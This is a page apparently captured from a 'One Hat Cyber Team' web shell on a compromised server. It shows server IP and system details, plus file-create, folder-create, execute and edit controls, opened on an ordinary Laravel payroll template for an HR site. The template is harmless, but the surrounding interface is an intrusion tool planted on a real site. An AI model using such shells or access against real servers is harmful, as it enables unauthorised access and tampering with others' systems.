⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.63
Server IP:
217.76.53.76
Server:
Linux vmi1397931.contaboserver.net 5.4.0-105-generic #119-Ubuntu SMP Mon Mar 7 18:49:24 UTC 2022 x86_64
Server Software:
Apache
PHP Version:
8.2.27
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
www
/
wwwroot
/
hrm.com.ng
/
resources
/
views
/
setsalary
/
Edit File: employee_salary.blade.php
@extends('layouts.admin') @section('page-title') {{ __('Employee Set Salary') }} @endsection @section('breadcrumb')
{{ __('Home') }}
{{ __('Set Salary') }}
{{ __('Employee Set Salary') }}
@endsection @section('content')
{{--
{{ __('Employee Salary') }}
--}}
{{ __('Employee Salary') }}
@can('Create Set Salary')
@endcan
{{ __('Payslip Type') }}
{{ $employee->salary_type() }}
{{ __('Salary') }}
{{ $employee->salary }}
{{ __('Allowance') }}
@can('Create Allowance')
@endcan
{{ __('Employee Name') }}
{{ __('Allownace Option') }}
{{ __('Title') }}
{{ __('Type') }}
{{ __('Amount') }}
@if (\Auth::user()->type != 'employee')
{{ __('Action') }}
@endif
@foreach ($allowances as $allowance)
{{ !empty($allowance->employee()) ? $allowance->employee()->name : '' }}
{{ !empty($allowance->allowance_option()) ? $allowance->allowance_option()->name : '' }}
{{ $allowance->title }}
{{ ucfirst($allowance->type) }}
@if ($allowance->type == 'fixed')
{{ \Auth::user()->priceFormat($allowance->amount) }}
@else
{{ $allowance->amount }}% ({{ \Auth::user()->priceFormat($allowance->tota_allow) }})
@endif
@can('Edit Allowance')
@endcan @can('Delete Allowance')
{!! Form::open([ 'method' => 'DELETE', 'route' => ['allowance.destroy', $allowance->id], 'id' => 'delete-form-' . $allowance->id, ]) !!}
@endcan
@endforeach
{{ __('Commission') }}
@can('Create Commission')
@endcan
{{ __('Employee Name') }}
{{ __('Title') }}
{{ __('Type') }}
{{ __('Amount') }}
@if (\Auth::user()->type != 'employee')
{{ __('Action') }}
@endif
@foreach ($commissions as $commission)
{{ !empty($commission->employee()) ? $commission->employee()->name : '' }}
{{ $commission->title }}
{{ ucfirst($commission->type) }}
@if ($commission->type == 'fixed')
{{ \Auth::user()->priceFormat($commission->amount) }}
@else
{{ $commission->amount }}% ({{ \Auth::user()->priceFormat($commission->tota_allow) }})
@endif
@can('Edit Commission')
@endcan @can('Delete Commission')
{!! Form::open([ 'method' => 'DELETE', 'route' => ['commission.destroy', $commission->id], 'id' => 'delete-form-' . $commission->id, ]) !!}
@endcan
@endforeach
{{ __('Loan') }}
@can('Create Loan')
@endcan
{{ __('Employee') }}
{{ __('Loan Options') }}
{{ __('Title') }}
{{ __('Type') }}
{{ __('Loan Amount') }}
{{--
{{ __('Start Date') }}
{{ __('End Date') }}
--}} @if (\Auth::user()->type != 'employee')
{{ __('Action') }}
@endif
@foreach ($loans as $loan)
{{ !empty($loan->employee()) ? $loan->employee()->name : '' }}
{{ !empty($loan->loan_option()) ? $loan->loan_option()->name : '' }}
{{ $loan->title }}
{{ ucfirst($loan->type) }}
@if ($loan->type == 'fixed')
{{ \Auth::user()->priceFormat($loan->amount) }}
@else
{{ $loan->amount }}% ({{ \Auth::user()->priceFormat($loan->tota_allow) }})
@endif {{--
{{ \Auth::user()->dateFormat($loan->start_date) }}
{{ \Auth::user()->dateFormat($loan->end_date) }}
--}}
@can('Edit Loan')
@endcan @can('Delete Loan')
{!! Form::open([ 'method' => 'DELETE', 'route' => ['loan.destroy', $loan->id], 'id' => 'delete-form-' . $loan->id, ]) !!}
@endcan
@endforeach
{{ __('Saturation Deduction') }}
@can('Create Saturation Deduction')
@endcan
{{ __('Employee Name') }}
{{ __('Deduction Option') }}
{{ __('Title') }}
{{ __('Type') }}
{{ __('Amount') }}
@if (\Auth::user()->type != 'employee')
{{ __('Action') }}
@endif
@foreach ($saturationdeductions as $saturationdeduction)
{{ !empty($saturationdeduction->employee()) ? $saturationdeduction->employee()->name : '' }}
{{ !empty($saturationdeduction->deduction_option()) ? $saturationdeduction->deduction_option()->name : '' }}
{{ $saturationdeduction->title }}
{{ ucfirst($saturationdeduction->type) }}
@if ($saturationdeduction->type == 'fixed')
{{ \Auth::user()->priceFormat($saturationdeduction->amount) }}
@else
{{ $saturationdeduction->amount }}% ({{ \Auth::user()->priceFormat($saturationdeduction->tota_allow) }})
@endif
@can('Edit Saturation Deduction')
@endcan @can('Delete Saturation Deduction')
{!! Form::open([ 'method' => 'DELETE', 'route' => ['saturationdeduction.destroy', $saturationdeduction->id], 'id' => 'delete-form-' . $saturationdeduction->id, ]) !!}
@endcan
@endforeach
{{ __('Other Payment') }}
@can('Create Other Payment')
@endcan
{{ __('Employee') }}
{{ __('Title') }}
{{ __('Type') }}
{{ __('Amount') }}
@if (\Auth::user()->type != 'employee')
{{ __('Action') }}
@endif
@foreach ($otherpayments as $otherpayment)
{{ !empty($otherpayment->employee()) ? $otherpayment->employee()->name : '' }}
{{ $otherpayment->title }}
{{ ucfirst($otherpayment->type) }}
@if ($otherpayment->type == 'fixed')
{{ \Auth::user()->priceFormat($otherpayment->amount) }}
@else
{{ $otherpayment->amount }}% ({{ \Auth::user()->priceFormat($otherpayment->tota_allow) }})
@endif
@can('Edit Other Payment')
@endcan @can('Delete Other Payment')
{!! Form::open([ 'method' => 'DELETE', 'route' => ['otherpayment.destroy', $otherpayment->id], 'id' => 'delete-form-' . $otherpayment->id, ]) !!}
@endcan
@endforeach
{{ __('Overtime') }}
@can('Create Overtime')
@endcan
{{ __('Employee Name') }}
{{ __('Overtime Title') }}
{{ __('Number of days') }}
{{ __('Hours') }}
{{ __('Rate') }}
@if (\Auth::user()->type != 'employee')
{{ __('Action') }}
@endif
@foreach ($overtimes as $overtime)
{{ !empty($overtime->employee()) ? $overtime->employee()->name : '' }}
{{ $overtime->title }}
{{ $overtime->number_of_days }}
{{ $overtime->hours }}
{{ \Auth::user()->priceFormat($overtime->rate) }}
@can('Edit Overtime')
@endcan @can('Delete Overtime')
{!! Form::open([ 'method' => 'DELETE', 'route' => ['overtime.destroy', $overtime->id], 'id' => 'delete-form-' . $overtime->id, ]) !!}
@endcan
@endforeach
@endsection @push('script-page') @endpush
Simpan